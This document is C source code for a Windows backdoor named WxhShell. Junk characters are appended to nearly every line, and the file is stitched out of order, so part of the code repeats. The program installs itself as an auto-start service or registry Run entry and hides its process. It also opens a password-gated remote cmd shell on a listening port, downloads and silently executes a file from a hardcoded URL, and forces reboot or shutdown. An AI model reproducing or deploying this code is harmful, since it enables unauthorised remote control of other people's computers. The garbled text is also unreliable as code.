    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hn#1%p6t  
    if(Boot(SHUTDOWN)) nt*Hc1I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cj~'Lhmv'T  
    else { 7}M2bH} \K  
    closesocket(wsh); ~e6Brq  
    ExitThread(0); 3EJt%}V$k  
    } PRHCrHs  
    break; ;4Y%PV z~D  
    } dFKM 8_jH  
  // 获取shell phM>.y_  
  case 's': { (sh)TBb5  
    CmdShell(wsh); 'Lu__NfN  
    closesocket(wsh); dKdj`wB  
    ExitThread(0); Djg,Lvhm  
    break; ;q*e=[_DF  
  } [VE8V-  
  // 退出 z11O F  
  case 'x': { C.FI~Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zux{S; :?  
    CloseIt(wsh); O#F4WWF  
    break; 6oGYnu;UZ  
    } )ubiB^g'm  
  // 离开 S:O O0<W  
  case 'q': { EM[WK+9>I{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /pT =0=  
    closesocket(wsh); m6w].-D8  
    WSACleanup(); 9b9$GyI  
    exit(1); XT4{Pe7{[P  
    break; HhvdqvIEG  
        } `hQ5VJo  
  } ]7RD"}  
  } )r jiY%F$  
 |'B7v i)  
  // 提示信息 `Tv[DIVW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c}2jmwq  
} TA4!$7b$  
  } f=WDR m]  
bcE._9@@  
  return; rR(X9i  
} toBHkiuD  
,Ge"anO  
// shell模块句柄 Q o{/@  
int CmdShell(SOCKET sock) RO'7\xvn  
{ Al} B34.uh  
STARTUPINFO si; F^];U+J  
ZeroMemory(&si,sizeof(si)); "W955?4m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J;8IY=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j}.\]$J  
PROCESS_INFORMATION ProcessInfo; |}Nn!Sj>#;  
char cmdline[]="cmd"; ~d|A!S`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z`f($t[  
  return 0; {tYZt4!{^  
} {Tq_7,8  
S.-TOE  
// 自身启动模式 4NheWM6  
int StartFromService(void) F%@aB<Nu  
{  KY$)#i  
typedef struct |B.Y6L6l  
{ +0nJ  
  DWORD ExitStatus; FQ<Ju.  
  DWORD PebBaseAddress; OR~8sU  
  DWORD AffinityMask; v$?+MNks  
  DWORD BasePriority; 7q?, ?  
  ULONG UniqueProcessId; v3~?;f,l  
  ULONG InheritedFromUniqueProcessId; n|9-KTe7|*  
}   PROCESS_BASIC_INFORMATION; a|t$l=|DD  
%)zodf  
PROCNTQSIP NtQueryInformationProcess; tE<H|_{L  
x[ ~b2o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  mHdA2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4i)1'{e  
.,<1%-R34q  
  HANDLE             hProcess; n8~N$tDU  
  PROCESS_BASIC_INFORMATION pbi; ;K:zmH  
A5c%SCq;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IA8f*]?  
  if(NULL == hInst ) return 0; PUT=C1,OFR  
xHv ZV<#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V_ :1EBzz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YxYH2*q@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^oBtfN>4  
w'Y7IlC  
  if (!NtQueryInformationProcess) return 0; 3% #3iZ=_  
I8hz(2jI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 36}?dRw#p  
  if(!hProcess) return 0; cOmw?kA*G  
LO9=xGj.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PxWT1 !  
##,a0s^  
  CloseHandle(hProcess); rK'L6o  
_<n~n]%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kJ'!r  
if(hProcess==NULL) return 0; T"{>t  
0fb2;&pUa  
HMODULE hMod; .F98G/s  
char procName[255]; @K  &GJ  
unsigned long cbNeeded; PS)4 I&;U  
!E<[JM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]l_\71  
,k +IPkN+  
  CloseHandle(hProcess); xK *b1CB  
$ Xv*,Bq  
if(strstr(procName,"services")) return 1; // 以服务启动 DrKP%BnS  
1{)5<!9!l  
  return 0; // 注册表启动 N]>=p.#j  
} a@_4PWzF:  
}^ApJS(FQ  
// 主模块 $t$ShT)  
int StartWxhshell(LPSTR lpCmdLine) @E&J_un  
{ (yH'{6g\  
  SOCKET wsl; |kyX3~  
BOOL val=TRUE; wcrCEX=I>{  
  int port=0; !a{^=#qq&I  
  struct sockaddr_in door; )tC5Hijq,  
VQc_|z_ s  
  if(wscfg.ws_autoins) Install(); [;n9:Qxf  
Lu?C-$a C  
port=atoi(lpCmdLine); x>**;#7)  
|B?cVc0  
if(port<=0) port=wscfg.ws_port; u4t7Ie*Q  
F|'>NL-=  
  WSADATA data; S3q&rqarC%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tm~" IB*  
%^?fMeI|Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LK{*sHi$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p)KheLiZ  
  door.sin_family = AF_INET; Tr_w]'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iowTLq!?  
  door.sin_port = htons(port); ew>XrT=Zm  
!O\82d1P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .T}Wdn g  
closesocket(wsl); ~ 8PZ5;g  
return 1; dH;8mb|#'  
} (of#(I[m7  
/ kF)  
  if(listen(wsl,2) == INVALID_SOCKET) { {0[tNth'h  
closesocket(wsl); 35h 8O,Y  
return 1; AuvkecuIh  
} FI)17i$  
  Wxhshell(wsl); Uf1!qP/H?  
  WSACleanup(); `fA@hK   
%41m~Wh2  
return 0; @D]5civm_  
jte.Xy~g  
} 6gL #C&  
_?-E7:Sw  
// 以NT服务方式启动 kDEXN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .6ylZ  
{ =-0/k;^  
DWORD   status = 0; EGGWrl}1  
  DWORD   specificError = 0xfffffff; uFX#`^r`  
&pP;Neh;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =T3 <gGM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^-TE([bW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $By< $  
  serviceStatus.dwWin32ExitCode     = 0; `Syl:rU~y@  
  serviceStatus.dwServiceSpecificExitCode = 0; s,"]aew  
  serviceStatus.dwCheckPoint       = 0; e|g5=2(Pr&  
  serviceStatus.dwWaitHint       = 0; kVuUjP6(c  
^+*N%yr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~Z-Vs  
  if (hServiceStatusHandle==0) return; ML}J\7R  
w_aknt T  
status = GetLastError(); F6LH $C  
  if (status!=NO_ERROR) tl[Uw[  
{ >Ifr [  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CLxynZ \;  
    serviceStatus.dwCheckPoint       = 0; $r^GE  
    serviceStatus.dwWaitHint       = 0; +xRK5+}9  
    serviceStatus.dwWin32ExitCode     = status; I!ED?n  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1ufp qqk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^8]NxV@l  
    return; ~jWn4 \  
  } gl~ecc  
q?H|o(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _Ym]Mj' ln  
  serviceStatus.dwCheckPoint       = 0; zU,9T  
  serviceStatus.dwWaitHint       = 0; kAKK bmE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gLb`pCo/  
} "0$a)4]  
.nO\kgoK  
// 处理NT服务事件,比如:启动、停止 QpF;:YX^3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XP`Nf)3{Yd  
{ zp6C3RG(  
switch(fdwControl) _aq 8@E~  
{ hMa]B*o/-  
case SERVICE_CONTROL_STOP: 2_)\a(.Qu  
  serviceStatus.dwWin32ExitCode = 0; N' F77 .  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  hz{`h  
  serviceStatus.dwCheckPoint   = 0; !:)s"|=  
  serviceStatus.dwWaitHint     = 0; Y`KqEjsC*  
  { I"xo*}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oph}5Krd)  
  } ]yV!  
  return; Plc-4y1  
case SERVICE_CONTROL_PAUSE: 87=&^.~`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C:GK,?!Jn'  
  break; bUs0 M0y  
case SERVICE_CONTROL_CONTINUE: 3W V"U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .28<tEf  
  break; },uF 4M.K  
case SERVICE_CONTROL_INTERROGATE: +u.1 ;qF  
  break; 9q)Kfz  
}; AWcLUe{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^0Zf,40  
} MlcR"gl*  
2{D{sa  
// 标准应用程序主函数 ht|z<XJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w!#tTyk`  
{ "_P;2N6  
Y21g{$~Q{  
// 获取操作系统版本 T _r:4JS  
OsIsNt=GetOsVer(); zy?.u.4L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "Hya6k>j  
w2Us!<x  
  // 从命令行安装 [v7F1@6b  
  if(strpbrk(lpCmdLine,"iI")) Install(); c>,KZ!  
~3^ 8>d/  
  // 下载执行文件 !]42^?GH  
if(wscfg.ws_downexe) { Ha(c'\T (\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f< ia(d  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2$9odD<r  
} |rY1US)S  
gK_Ymq5>"M  
if(!OsIsNt) { $>G8_q  
// 如果时win9x,隐藏进程并且设置为注册表启动 6 uv#de  
HideProc(); kh!FR u h  
StartWxhshell(lpCmdLine); i% w3/m  
} C'G/AU  
else >c1!p]&V  
  if(StartFromService()) cIUHa  
  // 以服务方式启动 &[_g6OL  
  StartServiceCtrlDispatcher(DispatchTable); Z.c'Hs+;  
else f6EZ( v  
  // 普通方式启动 yu;+o3WlK  
  StartWxhshell(lpCmdLine); UGD2  
1G"z<v B  
return 0; |_LU~7./  
} :Uz|3gq  
!_"@^?,q  
4 <9=5q]  
+?F[/?s5qz  
=========================================== [6pD  
uya.sF0]9B  
qUh2hz:  
2!0c4a^z  
mi ik%7>W  
d^ Inb!%w  
" rk&IlAE  
+$u$<z3Q  
#include <stdio.h> dUsYZdQs  
#include <string.h> 7_%"BVb"  
#include <windows.h> fo5iJz"Z  
#include <winsock2.h> ~{d$!`|a  
#include <winsvc.h> uPhK3nCGo  
#include <urlmon.h> FQm`~rA~zt  
{K <iih  
#pragma comment (lib, "Ws2_32.lib") ?/BqD;{?I  
#pragma comment (lib, "urlmon.lib") 5Ec6),+&  
@AG n{q  
#define MAX_USER   100 // 最大客户端连接数 3wOZ4<B  
#define BUF_SOCK   200 // sock buffer G.rrv  
#define KEY_BUFF   255 // 输入 buffer , 0imiv  
{ WIJC ',Y  
#define REBOOT     0   // 重启 ~kShq%  
#define SHUTDOWN   1   // 关机 6,)[+Bl  
u2[ iMd  
#define DEF_PORT   5000 // 监听端口 s1=X>'q  
cJN7bA {  
#define REG_LEN     16   // 注册表键长度 X<i^qoV  
#define SVC_LEN     80   // NT服务名长度 DKne'3pH  
#i@;J]x(  
// 从dll定义API Id'X*U7Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $eD.W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V@Rrn <l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b6}H$Sx~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [baiH|5>  
m6TNBX  
// wxhshell配置信息 K&nE_.kbl  
struct WSCFG { kgnmGuka  
  int ws_port;         // 监听端口 } E0,z  
  char ws_passstr[REG_LEN]; // 口令 d\p,2  
  int ws_autoins;       // 安装标记, 1=yes 0=no eAXc:222  
  char ws_regname[REG_LEN]; // 注册表键名 |o{:ZmzM  
  char ws_svcname[REG_LEN]; // 服务名 [K9'<Qnu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2Or'c`|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bu |a0h7e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )f}YW/'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $>GgB`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  /<HRwG\w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WOQP$D9  
7N-w eX  
}; X}tVmO?  
94+KdHAo^M  
// default Wxhshell configuration k *Q<3@S  
struct WSCFG wscfg={DEF_PORT, fJ/e(t  
    "xuhuanlingzhe", .#1~Rz1r  
    1, 0/!dUWdKH  
    "Wxhshell", 4"{ooy^Q  
    "Wxhshell", Pdt6nzfr  
            "WxhShell Service", %F!1  
    "Wrsky Windows CmdShell Service", Cg&e(  
    "Please Input Your Password: ", VG,u7A*Z#  
  1, \<y`!"c  
  "http://www.wrsky.com/wxhshell.exe", &$]v h  
  "Wxhshell.exe" kBYNf =  
    }; ROk5]b.  
lmfi  
// 消息定义模块 >)spqu]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !|O~$2O@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1jN-4&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^;/b+ /B0  
char *msg_ws_ext="\n\rExit."; wm)#[x #  
char *msg_ws_end="\n\rQuit."; 0BH_'ZW  
char *msg_ws_boot="\n\rReboot..."; mH Ic f{RG  
char *msg_ws_poff="\n\rShutdown..."; ix(=3 /Dgz  
char *msg_ws_down="\n\rSave to "; J]&y$?C  
`t_W2y   
char *msg_ws_err="\n\rErr!"; T9]HGB{  
char *msg_ws_ok="\n\rOK!"; #$c Rkw  
&jsVw)Ue  
char ExeFile[MAX_PATH]; y($%;l   
int nUser = 0; ^@qvl%j  
HANDLE handles[MAX_USER]; xER\ZpA :,  
int OsIsNt; 0%m)@ukb  
xKQ+{"?-^g  
SERVICE_STATUS       serviceStatus; $)RNKMZC}A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _io+YzS  
d/ bEt&  
// 函数声明 hRty [  
int Install(void); B x (uRj  
int Uninstall(void); \/1<E?Q f  
int DownloadFile(char *sURL, SOCKET wsh); &|!7Z4N  
int Boot(int flag); |!"2fI  
void HideProc(void); +"8,Mh  
int GetOsVer(void); tQ H+)*  
int Wxhshell(SOCKET wsl); 'B@e8S) y  
void TalkWithClient(void *cs); c05%iv  
int CmdShell(SOCKET sock); {K9/H qH  
int StartFromService(void); TZ2=O<Kj  
int StartWxhshell(LPSTR lpCmdLine); L2, 1Kt7  
/\H>y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6S+U&Ce\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .!G94b  
u%/goxA  
// 数据结构和表定义 u$-U*r  
SERVICE_TABLE_ENTRY DispatchTable[] = oiX+l5`pz  
{ #/I[Jqf  
{wscfg.ws_svcname, NTServiceMain}, YhY:~  
{NULL, NULL} Er{#ziN+  
}; Pv<24:ao  
v@wb"jdFi$  
// 自我安装 NcP.;u;`  
int Install(void) LrAT Sq@  
{ [-)r5Dsdq  
  char svExeFile[MAX_PATH]; M?[h0{^K  
  HKEY key; ?}m']4p  
  strcpy(svExeFile,ExeFile); ei6AV1| p  
2 ho>eRX  
// 如果是win9x系统,修改注册表设为自启动 +e-G,%>9  
if(!OsIsNt) { 6<$Odd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {'AWZ(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H6&J;yT}  
  RegCloseKey(key); @"o@}9=d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k<cgO[m   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YSj+\Z$(  
  RegCloseKey(key); ^qC;Nh4F  
  return 0; 1y lk4@`  
    } "3<da*D1  
  } =&},;VOh  
} $DZHQH  
else { iC*F  
JMVNmq&0  
// 如果是NT以上系统,安装为系统服务 @]![o %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lt_']QqU  
if (schSCManager!=0) kFQ8 y~>y}  
{ 8HZs>l  
  SC_HANDLE schService = CreateService w=}uwvn NX  
  ( wQ%mN[  
  schSCManager, B}eA\O4}I  
  wscfg.ws_svcname, .-JCwnP  
  wscfg.ws_svcdisp,  ru`U'  
  SERVICE_ALL_ACCESS, YOrrkbJ(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7c;9$j  
  SERVICE_AUTO_START, n=,\;3Y=  
  SERVICE_ERROR_NORMAL, HBY.DCN[Z  
  svExeFile, jn: NYJv  
  NULL, @&"Pci+-|  
  NULL, 9<vWcq*4  
  NULL, dV Q-k  
  NULL, 4:7V./" 9  
  NULL :aG#~-Q  
  ); @A+RVg*=  
  if (schService!=0) !I\!;b  
  { .^bft P\  
  CloseServiceHandle(schService); 7t?*  
  CloseServiceHandle(schSCManager); WsFk:h'r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); < F )_!0C  
  strcat(svExeFile,wscfg.ws_svcname); @ a4/ELx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @Eb2k!T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N-g8}03  
  RegCloseKey(key); j&UMjI9[  
  return 0; w0ZLcND{  
    } &vovA} F  
  } a,Gxm!  
  CloseServiceHandle(schSCManager); ;Efcw[<  
} j,d*?'X  
} 5[{*{^F4  
NWfAxkz {/  
return 1; &/A 8-:m  
} ?%O3Oi Xz  
|+U<S~  
// 自我卸载 l/y]nw  
int Uninstall(void) 81%8{yn!$"  
{ +uWYK9  
  HKEY key; =o p%8NJf  
Og%U  
if(!OsIsNt) { L0%hnA@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ki;UY~  
  RegDeleteValue(key,wscfg.ws_regname); /Jf~25F  
  RegCloseKey(key); U Q@7n1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >%Ee#m  
  RegDeleteValue(key,wscfg.ws_regname); xw<OLWW  
  RegCloseKey(key);  qW_u  
  return 0; 3E^M?N2oc  
  } ]=73-ywn]  
} hIJ)MZU|  
} O;[9_[  
else { v=I|O%  
gLE7Edcp6V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wk4.%tpeO7  
if (schSCManager!=0) "k$JP  
{ 8 iC:xcN3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l]2r)!Q7  
  if (schService!=0) fR-C0"c  
  { $mA5@O~C5\  
  if(DeleteService(schService)!=0) { :Zw @yt  
  CloseServiceHandle(schService); T_<BVM  
  CloseServiceHandle(schSCManager); H/~?@CE(YC  
  return 0; 9=dkx^q  
  } ]r]k-GZ$  
  CloseServiceHandle(schService); o=fgin/E\  
  } {Z{o"56f  
  CloseServiceHandle(schSCManager); fvo<(c#Y#  
} O';ew)tI  
} GgFi9Ffj  
-dTLunv  
return 1; a?cn9i)#  
} 6\d X  
":?T%v>  
// 从指定url下载文件 (d2@Mz  
int DownloadFile(char *sURL, SOCKET wsh) 0WxCSL$#I  
{ j;P+_Hfe/E  
  HRESULT hr; t]_S  
char seps[]= "/"; `m%dX'0 E  
char *token; }3/~x  
char *file; msTB'0  
char myURL[MAX_PATH]; KAA3iA@>+  
char myFILE[MAX_PATH]; $.e)  
JSMPyj  
strcpy(myURL,sURL); &y_? rH  
  token=strtok(myURL,seps); zDBD.5R;  
  while(token!=NULL) uOk%AL>  
  { m24v@?*  
    file=token; \MYU<6{u  
  token=strtok(NULL,seps); ij)Cm]4(2  
  } o$bUY7_  
9k2,3It  
GetCurrentDirectory(MAX_PATH,myFILE); }N3`gCy9eN  
strcat(myFILE, "\\"); s^C;>  
strcat(myFILE, file); !QC<n/  
  send(wsh,myFILE,strlen(myFILE),0); 2)LX^?7R  
send(wsh,"...",3,0); NtZ6$o<Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J1 tDO?  
  if(hr==S_OK) ,?b78_,2  
return 0; 6Dzs?P  
else ~w.2 -D  
return 1; )bW<8f2  
kV^?p  
} O3_B<Em  
zHFTCL>"  
// 系统电源模块 X ]s"5ju|t  
int Boot(int flag) R7aXR\ R  
{ !kh{9I>M  
  HANDLE hToken; t"YIq/08  
  TOKEN_PRIVILEGES tkp; @InJ_9E  
@ M[Q$:  
  if(OsIsNt) { BMjfqX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kMS5h~D[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &:8T$U V  
    tkp.PrivilegeCount = 1; hAa[[%wPhU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6lU|mJ`M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )5i* /I\  
if(flag==REBOOT) { qc-C>Ra  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |Y{PO&-?r  
  return 0; h6FgS9H  
} `@\^m_!}  
else { qhxC 5f4Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $h]NXC6J  
  return 0; ((9YG  
} <UK5eVQn  
  } _S<?t9mS  
  else { i@{*O@m  
if(flag==REBOOT) { 4 m $sJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xoi9d1fO  
  return 0; &fHc"-U}  
} %#4 +!  
else { UC#"=Xd 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M\jB)@)  
  return 0; <|Iyt[s  
} 4]u,x`6C  
} eEie?#Z/6  
p  .aE  
return 1; J;HkTT   
} @:IL/o*  
kpWzMd &RK  
// win9x进程隐藏模块 P09,P  
void HideProc(void) /[L)tj7B  
{ mOSCkp{<e  
t}c v2S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q@w"yz>  
  if ( hKernel != NULL ) U~hCn+0  
  { [^Q&suy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [{/$9k-aF?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PgTDjEo  
    FreeLibrary(hKernel); fYs?D+U;PF  
  } ,=x RoXYB}  
oB3q AP  
return; .c|9..Cq=  
} +yiU@K).0  
2$  
// 获取操作系统版本 q:Wq8  
int GetOsVer(void) }oV3EIH  
{ %L28$c3p  
  OSVERSIONINFO winfo; a /QIJ*0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mUiOD$rO  
  GetVersionEx(&winfo); nc- Qz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a&8l[xe1  
  return 1; { q})kO  
  else  Hl!1h%  
  return 0; (%Ng'~J\|  
} qih6me8C  
|E? ,xWN  
// 客户端句柄模块 e{:86C!d)  
int Wxhshell(SOCKET wsl) 7Onk!NH  
{ f<^ScFVR  
  SOCKET wsh; eS* *L 3  
  struct sockaddr_in client; G]at{(^Vz  
  DWORD myID; 3g^IXm:K$  
Q Xsfp  
  while(nUser<MAX_USER) L,O>6~9:^1  
{ uF+);ig  
  int nSize=sizeof(client); ;B*L1'FF%t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *h>OW  
  if(wsh==INVALID_SOCKET) return 1; fmtuFr^a1  
1V#0\1sj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N'I?fWN!;R  
if(handles[nUser]==0) bb*c+XN0  
  closesocket(wsh); *X%?3"WH8  
else mi*:S%;h  
  nUser++; 5%EaX?0h+  
  } aeLBaS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EPQ&?[6  
@ysJt  
  return 0; MoZU(j  
} I|GV :D  
u!hqq^1  
// 关闭 socket @\#'oIc|  
void CloseIt(SOCKET wsh) H Jnv'^yn  
{ R~U2/6V  
closesocket(wsh); ;JMOsn}8  
nUser--; }w;Q^EU  
ExitThread(0); E!:.G+SEl  
} 1"mnzbf8*  
pE9aT5 L  
// 客户端请求句柄 J[I"/sdk-  
void TalkWithClient(void *cs) BiVd ka  
{ I8E\'`:<  
B^E2UNRA  
  SOCKET wsh=(SOCKET)cs; l:>qR/|m  
  char pwd[SVC_LEN]; ^(E"3 c  
  char cmd[KEY_BUFF]; )Mm;9UA  
char chr[1]; &!3VqHQ`  
int i,j; wz*)L (pP  
5$ (b3]  
  while (nUser < MAX_USER) { RZcx4fL}x  
%[+a[/  
if(wscfg.ws_passstr) { X^?|Sz<^E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V1UUAvN7s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F$"MFdc[  
  //ZeroMemory(pwd,KEY_BUFF); ,_wm,  
      i=0; iA1;k*) q  
  while(i<SVC_LEN) { 6Zl.Lh  
B.CH9M  
  // 设置超时 ZC9.R$}Kl  
  fd_set FdRead; *Bb|N--jI  
  struct timeval TimeOut; V PLCic,T  
  FD_ZERO(&FdRead); cq@_*:~Or  
  FD_SET(wsh,&FdRead); L*SSv wSL  
  TimeOut.tv_sec=8; =+SVzK,+3  
  TimeOut.tv_usec=0; i+qLc6|S=2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?-RoqF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S1x.pLHj8  
Bp=oTC G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %O4}i@Fe  
  pwd=chr[0]; [EW$7 se~  
  if(chr[0]==0xd || chr[0]==0xa) { d =B@EyN  
  pwd=0; q|Pt>4c5?  
  break; } K hq  
  } u]>>B>KOJ7  
  i++; 6|"!sW`%N  
    } fa*H cz  
G2[IO $  
  // 如果是非法用户,关闭 socket XYxm8ee"j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 35N/v G0  
} w$U/;C  
|)72E[lL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3A}nNHpN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8y 4D9_{  
*?R\[59  
while(1) { ~y-vKCp|  
Uf2v$Jl+Yh  
  ZeroMemory(cmd,KEY_BUFF); *3etxnQc  
]ZryY EB  
      // 自动支持客户端 telnet标准   4W//Oc@e  
  j=0; k1$2a8 ja  
  while(j<KEY_BUFF) { ?3"D| cS1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;MRC~F=  
  cmd[j]=chr[0]; ~=AKX(Q  
  if(chr[0]==0xa || chr[0]==0xd) { Sfoy8<j  
  cmd[j]=0; ^ Mvsq)  
  break; j~L1~@  
  } N5rG.6K  
  j++; >2Qqa;nx|  
    } kj3o1Y  
64 \5v?C  
  // 下载文件 ?#EXG  
  if(strstr(cmd,"http://")) { yL3<X w|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D "] [&m  
  if(DownloadFile(cmd,wsh)) _l{ 5 'm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}ApO{  
  else k'I_,Z<,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n\"LN3  
  } {|J2clL  
  else { S. F=$z.%  
?5YmE(v7  
